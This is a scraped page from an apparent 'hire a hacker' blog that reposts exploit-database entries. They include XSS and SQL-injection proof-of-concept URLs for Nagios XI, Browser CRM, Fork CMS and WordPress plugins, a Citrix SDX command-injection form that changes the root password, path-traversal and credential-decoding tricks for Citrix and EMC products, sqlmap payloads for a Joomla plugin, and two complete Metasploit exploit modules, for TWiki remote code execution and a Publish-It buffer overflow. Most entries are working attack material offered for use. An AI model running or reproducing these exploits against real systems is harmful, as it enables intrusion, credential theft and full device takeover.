Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863141535

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/51076/info

Owl Intranet Engine is prone to an authentication-bypass vulnerability.

An attacker can exploit this issue to bypass the authentication process and gain administrative access to the application.

Owl Intranet Engine 1.00 is affected; other versions may also be vulnerable. 

http://www.example.org/owl/admin/index.php?userid=1
http://www.example.org/owl/admin/index.php?userid=1&newuser
http://www.example.org/owl/admin/index.php?userid=1&action=edituser&owluser=1
HireHackking 
source: www.securityfocus.com/bid/51069/info

Nagios XI is prone to an HTML injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Nagios XI versions prior to 2011R1.9 are vulnerable. 

Reflected XSS
-----

Page:		/nagiosxi/login.php
Variables:	-
PoCs:		http://site/nagiosxi/login.php/";alert('0a29');"
Details:	The URL is copied into JavaScript variable 'backend_url' in an unsafe
		manner
		Also affects:
		/nagiosxi/about/index.php
		/nagiosxi/about/index.php
		/nagiosxi/about/main.php
		/nagiosxi/account/main.php
		/nagiosxi/account/notifymethods.php
		/nagiosxi/account/notifymsgs.php
		/nagiosxi/account/notifyprefs.php
		/nagiosxi/account/testnotification.php
		/nagiosxi/help/index.php
		/nagiosxi/help/main.php
		/nagiosxi/includes/components/alertstream/go.php
		/nagiosxi/includes/components/alertstream/index.php
		/nagiosxi/includes/components/hypermap_replay/index.php
		/nagiosxi/includes/components/massacknowledge/mass_ack.php
		/nagiosxi/includes/components/xicore/recurringdowntime.php/
		/nagiosxi/includes/components/xicore/status.php
		/nagiosxi/includes/components/xicore/tac.php
		/nagiosxi/reports/alertheatmap.php
		/nagiosxi/reports/availability.php
		/nagiosxi/reports/eventlog.php
		/nagiosxi/reports/histogram.php
		/nagiosxi/reports/index.php
		/nagiosxi/reports/myreports.php
		/nagiosxi/reports/nagioscorereports.php
		/nagiosxi/reports/notifications.php
		/nagiosxi/reports/statehistory.php
		/nagiosxi/reports/topalertproducers.php
		/nagiosxi/views/index.php
		/nagiosxi/views/main.php

Page:		/nagiosxi/account/
Variables:	xiwindow
PoCs:		http://site/nagiosxi/account/?xiwindow="></iframe><script>alert(&#039;0a29&#039;)</script>

Page:		/nagiosxi/includes/components/massacknowledge/mass_ack.php
Variables:	-
PoCs:		http://site/nagiosxi/includes/components/massacknowledge/mass_ack.php/&#039;><script>alert("0a29")</script>

Page:		/nagiosxi/includes/components/xicore/status.php
Variables:	hostgroup, style
PoCs:		http://site/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup=&#039;><script>alert("0a29")</script>
		http://site/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup=all&style=><script>alert("0a29")</script>

Page:		/nagiosxi/includes/components/xicore/recurringdowntime.php
Variables:	-
PoCs:		http://site/nagiosxi/includes/components/xicore/recurringdowntime.php/&#039;;}}alert(&#039;0a29&#039;)</script>


Page:		/nagiosxi/reports/alertheatmap.php
Variables:	height, host, service, width
PoCs:		http://site/nagiosxi/reports/alertheatmap.php?height="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/alertheatmap.php?host="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/alertheatmap.php?service="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/alertheatmap.php?width="><script>alert("0a29")</script>

Page:		/nagiosxi/reports/histogram.php
Variable:	service
PoCs:		http://site/nagiosxi/reports/histogram.php?service="><script>alert("0a29")</script>

Page:		/nagiosxi/reports/notifications.php
Variables:	host, service
PoCs:		http://site/nagiosxi/reports/notifications.php?host="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/notifications.php?service="><script>alert("0a29")</script>

Page:		/nagiosxi/reports/statehistory.php
Variables:	host, service
PoCs:		http://site/nagiosxi/reports/statehistory.php?host="><script>alert("0a29")</script>
		http://site/nagiosxi/reports/statehistory.php?service="><script>alert("0a29")</script>


Stored XSS
-----

Page:		/nagiosxi/reports/myreports.php
Variable:	title
Details:	It is possible to store XSS within &#039;My Reports&#039;, however it
is believed this
		is only viewable by the logged-in user.
		1) View a report and save it, e.g.
		http://site/nagiosxi/reports/myreports.php?add=1&title=Availability+Summary&url=%2Fnagiosxi%2Freports%2Favailability.php&meta_s=a%3A0%3A%7B%7D
		2) Name the report with XSS, e.g. "><script>alert("0a29")</script>
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
      
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/index.php" method="post">
<input type="hidden" name="loginwww.example.com" value=&#039;"><script>alert(1);</script>&#039;>
<input type="hidden" name="login[password]" value=&#039;"><script>alert(2);</script>&#039;>
<input type="hidden" name="login[rebuild_cache]" value=&#039;"><script>alert(3);</script>&#039;>
<input type="hidden" name="login[remember_me]" value=&#039;"><script>alert(4);</script>&#039;>
<input type="hidden" name="login[skin]" value=&#039;"><script>alert(5);</script>&#039;>
<input type="hidden" name="login[username]" value=&#039;"><script>alert(6);</script>&#039;>
<input type="submit" value="submit" id="btn">
</form>
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
     
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/pub/clients.php" method="post">

<input type="hidden" name="loginwww.example.com" value=&#039;"><script>alert(1);</script>&#039;>
<input type="hidden" name="login[username]" value=&#039;"><script>alert(2);</script>&#039;>
<input type="hidden" name="login[password]" value=&#039;"><script>alert(3);</script>&#039;>
<input type="hidden" name="login[webform]" value=&#039;"><script>alert(4);</script>&#039;>
<input type="hidden" name="login[disable_email_check]" value=&#039;"><script>alert(5);</script>&#039;>
<input type="hidden" name="login[client_email]" value=&#039;"><script>alert(6);</script>&#039;>
<input type="hidden" name="login[client_password]" value=&#039;"><script>alert(7);</script>&#039;>
<input type="submit" value="submit" id="btn">
</form>
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
   
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/licence/index.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
  
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/modules/admin/admin_module_index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
http://www.example.com/modules/calendar/customise_calendar_times.php/%22%3E%3Cscript%3Ealert%28document.cooki e%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
 
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/modules/Documents/index.php?id=1&contact_id=1%27%20OR%20%271%27=%271
HireHackking 
source: https://www.securityfocus.com/bid/51060/info

Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/modules/Documents/version_list.php?parent_id=1%20AND%201=2%20--%202
HireHackking 
source: https://www.securityfocus.com/bid/51056/info

Pulse Pro is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pulse Pro 1.7.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?p=blocks&d="><script>alert(1)</script>
http://www.example.com/index.php?p=edit-post&post_id="><script>alert(1)</script>
HireHackking 
source: https://www.securityfocus.com/bid/51045/info

Fork CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Fork CMS 3.1.5 is vulnerable; other versions may also be affected. 

http://www.example.com/blog/detail/article?utm_source=feed&utm_medium=rss"><script>alert(&#039;xss&#039;)</script>  

http://www.example.com/search?form=search&q_widget=&submit="><script>alert(&#039;xss&#039;)</script> 
 
http://www.example.com/search?form=search&q_widget="><script>alert(&#039;xss&#039;)</script>

http://www.example.com/search?form="><script>alert(&#039;xss&#039;)</script>

http://www.example.com/private/en/users/edit?id=1"><script>alert(&#039;xss&#039;)</script>

http://www.example.com/private/en/pages/edit?token=true&id=1"><script>alert(&#039;xss&#039;)</script>
 
http://www.example.com/private/en/mailmotor/settings?token="><script>alert(&#039;xss&#039;)</script>
HireHackking 
source: https://www.securityfocus.com/bid/51037/info

The Welcomizer plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

The Welcomizer 1.3.9.4 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/the-welcomizer/twiz-index.php?page=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/51031/info

flash-album-gallery plug-in for WordPress is prone to a cross-site-scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[path]/wp-content/plugins/flash-album-gallery/flagshow.php?pid=[xss]
HireHackking 
source: https://www.securityfocus.com/bid/51027/info

The Opera Web browser is prone to multiple remote denial-of-service vulnerabilities and an unspecified vulnerability.

An attacker can exploit these issues to cause the affected application to crash, denying service to legitimate users.

Note: The impact of the unspecified vulnerability is not known. We will update this BID when more information emerges.

Versions prior to Opera Web Browser 11.60 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36443.zip
HireHackking 
Abstract


Securify discovered a command injection vulnerability in xen_hotfix page of the NITRO SDK. The attacker-supplied command is executed with elevated privileges (nsroot). This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.

Tested version


This issue was discovered in Citrix NetScaler SDX svm-10.5-50-1.9, other versions may also be affected.

Fix


Citrix reports that this vulnerability is fixed in NetScaler 10.5 build 52.3nc.

Introduction


The Citrix NetScaler SDX platform delivers fully isolated NetScaler instances running on a single appliance. Each instance is a full-blown NetScaler environment, which optimizes delivery of applications over the Internet and private networks. The NITRO SDK allows you to configure and monitor the NetScaler appliance programmatically. NITRO exposes its functionality through REST interfaces. A Cross-Site Scripting vulnerability was found in one of the REST services exposed by the NITRO SDK.

Administrators can upload XenServer hotfixes to the Citrix SDX appliance. The REST interface responsible for handling these hotfixes is vulnerable to command injection.

Details


This vulberability exists because the file_name parameter submitted to the /nitro/v1/config/xen_hotfix page used in a shell command without proper input validation/sanitation, introducing a command execution vulnerability. The shell command is executed with elevated privileges (nsroot), which allows attackers to run arbitrary commands with these privileges. This issue can be used to compromise of the entire Citrix SDX appliance and all underling application's and data.

The following proof of concept can be used to exploit this issue;
<html>
   <body>
      <form action="https://SDXHOSTIP/nitro/v1/config/xen_hotfix" method="POST">
         <input type="hidden" name="object" value="&#123;"params"&#58;&#123;"action"&#58;"start"&#125;&#44;"xen&#95;hotfix"&#58;&#91;&#123;"file&#95;name"&#58;"&#46;&#46;&#47;&#46;&#46;&#47;etc&#47;passwd&#59;echo&#32;nsroot&#58;Securify&#124;chpasswd&#59;"&#125;&#93;&#125;" />
         <input type="submit" value="Submit request" />
      </form>
      <script>document.forms[0].submit();</script>
   </body>
</html>



POST /nitro/v1/config/xen_hotfix HTTP/1.1
-----------------------------------------

object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"../../etc/passwd;reboot;"}]}

or

object={"params"%3a{"action"%3a"start"}%2c"xen_hotfix"%3a[{"file_name"%3a"../../etc/passwd;echo nsroot:han|chpasswd;"}]}


Due to insufficient Cross-Site Request Forgery protection, it is possible to exploit this issue by tricking a logged in admin user into visiting a specially crafted web page.
HireHackking 
Abstract


It was discovered that Citrix Command Center stores configuration files containing credentials of managed devices within a folder accessible through the web server. Unauthenticated attackers can download any configuration file stored in this folder, decode passwords stored in these files, and gain privileged access to devices managed by Command Center.

Tested version


This issue was discovered in Citrix Command Center 5.1 build 33.3 (including patch CC_SP_5.2_40_1.exe), other versions may also be vulnerable.

Fix


Citrix reports that this vulnerability is fixed in Command Center 5.2 build 42.7, which can be downloaded from the following location (login required).
https://www.citrix.com/downloads/command-center/product-software/command-center-52-427.html

Citrix assigned BUG0493933 to this issue.

Introduction


Citrix Command Center is a management and monitoring solution for Citrix application networking products. Command Center enables network administrators and operations teams to manage, monitor, and troubleshoot the entire global application delivery infrastructure from a single, unified console.

Citrix Command Center stores configuration files containing credentials of managed devices within a folder accessible through the web server. No access control is enforced on this folder, an unauthenticated attacker can download any configuration file stored in this folder.

Details


Configuration files can be downloaded from the conf web folder. Below is an example of a configuration file that can be obtained this way.

https://<target>:8443/conf/securitydbData.xml

This files contains encoded passwords, for example:

<DATA ownername="NULL" password="C70A0eE9os9T2z" username="root"/>


These passwords can be decoded trivially. The algorithm used can be found in the JAR file NmsServerClasses.jar. For example the encoded password C70A0eE9os9T2z decodes to SECURIFY123. The credentials stored in these files can than be used to gain privileged access to devices managed by Command Center.
HireHackking 
Abstract


A path traversal vulnerability was found in EMC M&R (Watch4net) Device Discovery. This vulnerability allows an attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries.

Affected products


EMC reports that the following products are affected by this vulnerability:

- EMC M&R (Watch4Net) versions prior 6.5u1
- EMC ViPR SRM versions prior to 3.6.1

See also


- CVE-2015-0516
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities (login required)

Fix


EMC released the following updated versions that resolve this vulnerability:

- EMC M&R (Watch4Net) 6.5u1
- EMC ViPR SRM 3.6.1

Registered customers can download upgraded software from support.emc.com at https://support.emc.com/downloads/34247_ViPR-SRM.

Introduction


EMC M&R (formerly known as Watch4net) enables cross-domain performance monitoring of infrastructure and data center components in real-time - from a single, customizable dashboard.

A path traversal vulnerability was found in M&R (Watch4net) Device Discovery. Path traversal vulnerabilities arise when user-controllable data is used insecurely within a file system operation. Typically, a user-supplied filename is appended to a directory prefix in order to read or write the contents of a file.

Details


This vulnerability can be trigger via de fileFileName URL parameter of the /device-discovery/devicesource/downloadSeedFile page. An authenticated attacker can supply path traversal sequences to break out of the intended download directory and read files elsewhere on the file system. This allows the attacker to access sensitive files containing configuration data, passwords, database records, log data, source code, and program scripts and binaries.

The following URL can be used to demonstrate this issue:

http://<target>:58080/device-discovery/devicesource/downloadSeedFile?fileFileName=..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts
HireHackking 
Version 1.2.5 of the ECommerce-WD plugin for Joomla! has multiple
unauthenticated SQL injections available via the advanced search
functionality.

http://extensions.joomla.org/extension/ecommerce-wd

The vulnerable parameters are search_category_id, sort_order, and
filter_manufacturer_ids within the following request:

POST
/index.php?option=com_ecommercewd&controller=products&task=displayproducts
HTTP/1.1
Host: 172.31.16.49
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101
Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://172.31.16.49/index.php?option=com_ecommercewd&view=products&layout=displayproducts&Itemid=120
Cookie: 78fdafa5595397a1fc885bb2f0d74010=q1q1ud2sr0la18o5b38mkbdak2
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 321

product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12


Vectors:

Parameter: filter_manufacturer_ids (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1)
AND 8066=8066 AND
(7678=7678&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1)
AND (SELECT 7197 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT
(ELT(7197=7197,1))),0x71706a6a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
(1212=1212&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1)
AND (SELECT * FROM (SELECT(SLEEP(5)))SrXu) AND
(1480=1480&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12



Parameter: search_category_id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1)
AND 3039=3039 AND
(6271=6271&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1)
AND (SELECT 5158 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT
(ELT(5158=5158,1))),0x71706a6a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
(8257=8257&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1)
AND (SELECT * FROM (SELECT(SLEEP(5)))AUWc) AND
(1251=1251&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1)
UNION ALL SELECT CONCAT(0x71786a6b71,0x704f43796c4773545349,0x71706a6a71)--
&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12



Parameter: sort_order (POST)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc,(SELECT
(CASE WHEN (8973=8973) THEN 1 ELSE 8973*(SELECT 8973 FROM
INFORMATION_SCHEMA.CHARACTER_SETS)
END))&pagination_limit_start=0&pagination_limit=12

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.11 time-based blind - ORDER BY, GROUP BY clause
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc,(SELECT
(CASE WHEN (6064=6064) THEN SLEEP(5) ELSE 6064*(SELECT 6064 FROM
INFORMATION_SCHEMA.CHARACTER_SETS)
END))&pagination_limit_start=0&pagination_limit=12


Metasploit modules that exploit the UNION-based injection are available on
ExploitHub:

Enumerate users --
https://exploithub.com/joomla-e-commerce-wd-plugin-users-enumeration-via-sql-injection.html
Read files --
https://exploithub.com/joomla-e-commerce-wd-plugin-file-download-via-sql-injection.html
Write payload to web directory --
https://exploithub.com/joomla-e-commerce-wd-plugin-sql-injection.html

-- 
http://volatile-minds.blogspot.com -- blog
http://www.volatileminds.net -- website
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'TWiki Debugenableplugins Remote Code Execution',
      'Description' => %q{
        TWiki 4.0.x-6.0.0  contains a vulnerability in the Debug functionality.
        The value of the debugenableplugins parameter is used without proper sanitization
        in an Perl eval statement which allows remote code execution
      },
      'Author' =>
        [
          'Netanel Rubin', # from Check Point - Discovery
          'h0ng10', # Metasploit Module

        ],
      'License' => MSF_LICENSE,
      'References' =>
        [
          [ 'CVE', '2014-7236'],
          [ 'OSVDB', '112977'],
          [ 'URL', 'http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2014-7236']
        ],
      'Privileged' => false,
      'Targets' =>
        [
          [ 'Automatic',
            {
              'Payload'        =>
                {
                  'BadChars' => "",
                  'Compat'      =>
                    {
                      'PayloadType' => 'cmd',
                      'RequiredCmd' => 'generic perl python php',
                    }
                },
              'Platform' => ['unix'],
              'Arch' => ARCH_CMD
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Oct 09 2014'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "TWiki path", '/do/view/Main/WebHome' ]),
        OptString.new('PLUGIN', [true, "A existing TWiki Plugin", 'BackupRestorePlugin'])
      ], self.class)
  end


  def send_code(perl_code)
    uri = target_uri.path
    data = "debugenableplugins=#{datastore['PLUGIN']}%3b" + CGI.escape(perl_code) + "%3bexit"

    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => uri,
      'data' => data
    })

    return res
  end


  def check
    rand_1 = rand_text_alpha(5)
    rand_2 = rand_text_alpha(5)

    code = "print(\"Content-Type:text/html\\r\\n\\r\\n#{rand_1}\".\"#{rand_2}\")"
    res = send_code(code)

    if res and res.code == 200
      return CheckCode::Vulnerable if res.body == rand_1 + rand_2
    end
    CheckCode::Unknown
  end


  def exploit
    code = "print(\"Content-Type:text/html\\r\\n\\r\\n\");"
    code += "require('MIME/Base64.pm');MIME::Base64->import();"
    code += "system(decode_base64('#{Rex::Text.encode_base64(payload.encoded)}'));exit"
    res = send_code(code)
    handler

  end

end
HireHackking 
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Publish-It PUI Buffer Overflow (SEH)',
      'Description'  => %q{
          This module exploits a stack based buffer overflow in Publish-It when
          processing a specially crafted .PUI file. This vulnerability could be
          exploited by a remote attacker to execute arbitrary code on the target
          machine by enticing a user of Publish-It to open a malicious .PUI file.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Daniel Kazimirow',  # Original discovery
          'Andrew Smith "jakx_"',  # Exploit and MSF Module
        ],
      'References'  =>
        [
          [ 'OSVDB', '102911' ],
          [ 'CVE', '2014-0980' ],
          [ 'EDB', '31461' ]
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00\x0b\x0a",
          'DisableNops' => true,
          'Space' => 377
        },
      'Targets'    =>
        [
          [ 'Publish-It 3.6d',
            {
              'Ret'     =>  0x0046e95a, #p/p/r | Publish.EXE
              'Offset'  =>  1082
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Feb 5 2014',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class)

  end

  def exploit

    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui")
    fd = File.open(path, "rb")
    template_data = fd.read(fd.stat.size)
    fd.close

    buffer = template_data
    buffer << make_nops(700)
    buffer << payload.encoded
    buffer << make_nops(target['Offset']-payload.encoded.length-700-5)
    buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399
    buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump
    buffer << make_nops(2)
    buffer << [target.ret].pack("V")

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buffer)

  end
end
HireHackking 
Abstract


It was discovered that EMC M&R (Watch4net) credentials of remote servers stored in Watch4net are encrypted using a fixed hardcoded password. If an attacker manages to obtain a copy of the encrypted credentials, it is trivial to decrypt them.

Affected products


EMC reports that the following products are affected by this vulnerability:

- EMC M&R (Watch4Net) versions prior 6.5u1
- EMC ViPR SRM versions prior to 3.6.1

See also


- CVE-2015-0514
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities
- ESA-2015-004: EMC M&R (Watch4Net) Multiple Vulnerabilities (login required)

Fix


EMC released the following updated versions that resolve this vulnerability:

- EMC M&R (Watch4Net) 6.5u1
- EMC ViPR SRM 3.6.1

Registered customers can download upgraded software from support.emc.com at https://support.emc.com/downloads/34247_ViPR-SRM.

Introduction


EMC M&R (formerly known as Watch4net) enables cross-domain performance monitoring of infrastructure and data center components in real-time - from a single, customizable dashboard.

The Remote-Shell-Collector module from EMC M&R (Watch4net) can push and run executable files on remote hosts to collect performance data from storage environments. Remote-Shell-Collector uses SSH for this purpose.

In order to push and collect monitoring data, accounts are created on the remote servers and credentials of these remote servers are stored in Watch4net. These credentials are encrypted using a fixed hardcoded password. If an attacker manages to obtain a copy of the encrypted credentials, it is trivial to decrypt them.

Details


Due to insecure use of cryptography the credentials of these remote host can be decrypted using the Java class com.watch4net.apg.v2.common.config.tools.Utils.process().

Proof of concept


import com.watch4net.apg.v2.common.config.tools.Utils;

public class Watch4NetCrypt {
   private static void print(String out) {
      System.out.println(out);
   }

   private static void usage() {
      print("Usage:\t watch4netcrypt [-e] password");
      print("\t watch4netcrypt [-d] encrypted");
      System.exit(1);
   }

   public static void main(String[] args) {
      if (args.length != 2 || !("-e".equals(args[0]) || "-d".equals(args[0]))) {
         usage();
      }
      Boolean encrypt = "-e".equals(args[0]);
      String password = args[1];
      if (password != null) {
         print(Utils.process(password, encrypt, "centralized", null));
      }
}
HireHackking 
I. Overview 
======================================================== 
Chamilo LMS 1.9.10 or prior versions are prone to a multiple Cross-Site Scripting (Stored + Reflected) & CSRF vulnerabilities. These vulnerabilities allows an attacker to gain control over valid user accounts in LMS, perform operations on their behalf, redirect them to malicious sites, steal their credentials, and more. 

